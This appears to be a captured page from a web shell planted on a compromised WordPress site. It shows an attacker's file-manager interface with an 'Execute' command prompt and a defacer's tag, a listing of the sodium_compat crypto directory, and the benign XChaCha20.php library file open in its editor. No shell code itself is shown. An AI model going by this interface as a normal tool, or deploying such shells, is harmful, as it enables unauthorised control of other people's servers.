home
/
aioutajg
/
unblockedgames247.com
/
wp-includes
/
sodium_compat
/
src
/
Core
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] AEGIS
N/A
[DIR] AES
N/A
[DIR] Base64
N/A
[DIR] ChaCha20
N/A
[DIR] Curve25519
N/A
[DIR] Poly1305
N/A
[DIR] SecretStream
N/A
AEGIS128L.php
3.58 KB
Rename
Delete
AEGIS256.php
3.51 KB
Rename
Delete
AES.php
15.51 KB
Rename
Delete
BLAKE2b.php
23.63 KB
Rename
Delete
ChaCha20.php
12.63 KB
Rename
Delete
Curve25519.php
139.29 KB
Rename
Delete
Ed25519.php
17.07 KB
Rename
Delete
HChaCha20.php
3.78 KB
Rename
Delete
HSalsa20.php
3.59 KB
Rename
Delete
Poly1305.php
1.54 KB
Rename
Delete
Ristretto255.php
21.37 KB
Rename
Delete
Salsa20.php
8.04 KB
Rename
Delete
SipHash.php
8.04 KB
Rename
Delete
Util.php
28.25 KB
Rename
Delete
X25519.php
9.23 KB
Rename
Delete
XChaCha20.php
3.29 KB
Rename
Delete
XSalsa20.php
1.34 KB
Rename
Delete
<?php if (class_exists('ParagonIE_Sodium_Core_XChaCha20', false)) { return; } /** * Class ParagonIE_Sodium_Core_XChaCha20 */ class ParagonIE_Sodium_Core_XChaCha20 extends ParagonIE_Sodium_Core_HChaCha20 { /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function stream($len = 64, $nonce = '', $key = '') { if (self::strlen($nonce) !== 24) { throw new SodiumException('Nonce must be 24 bytes long'); } return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_Ctx( self::hChaCha20( self::substr($nonce, 0, 16), $key ), self::substr($nonce, 16, 8) ), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStream($len = 64, $nonce = '', $key = '') { if (self::strlen($nonce) !== 24) { throw new SodiumException('Nonce must be 24 bytes long'); } return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_IetfCtx( self::hChaCha20( self::substr($nonce, 0, 16), $key ), "\x00\x00\x00\x00" . self::substr($nonce, 16, 8) ), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function streamXorIc($message, $nonce = '', $key = '', $ic = '') { if (self::strlen($nonce) !== 24) { throw new SodiumException('Nonce must be 24 bytes long'); } return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_Ctx( self::hChaCha20(self::substr($nonce, 0, 16), $key), self::substr($nonce, 16, 8), $ic ), $message ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '') { if (self::strlen($nonce) !== 24) { throw new SodiumException('Nonce must be 24 bytes long'); } return self::encryptBytes( new ParagonIE_Sodium_Core_ChaCha20_IetfCtx( self::hChaCha20(self::substr($nonce, 0, 16), $key), "\x00\x00\x00\x00" . self::substr($nonce, 16, 8), $ic ), $message ); } }
Save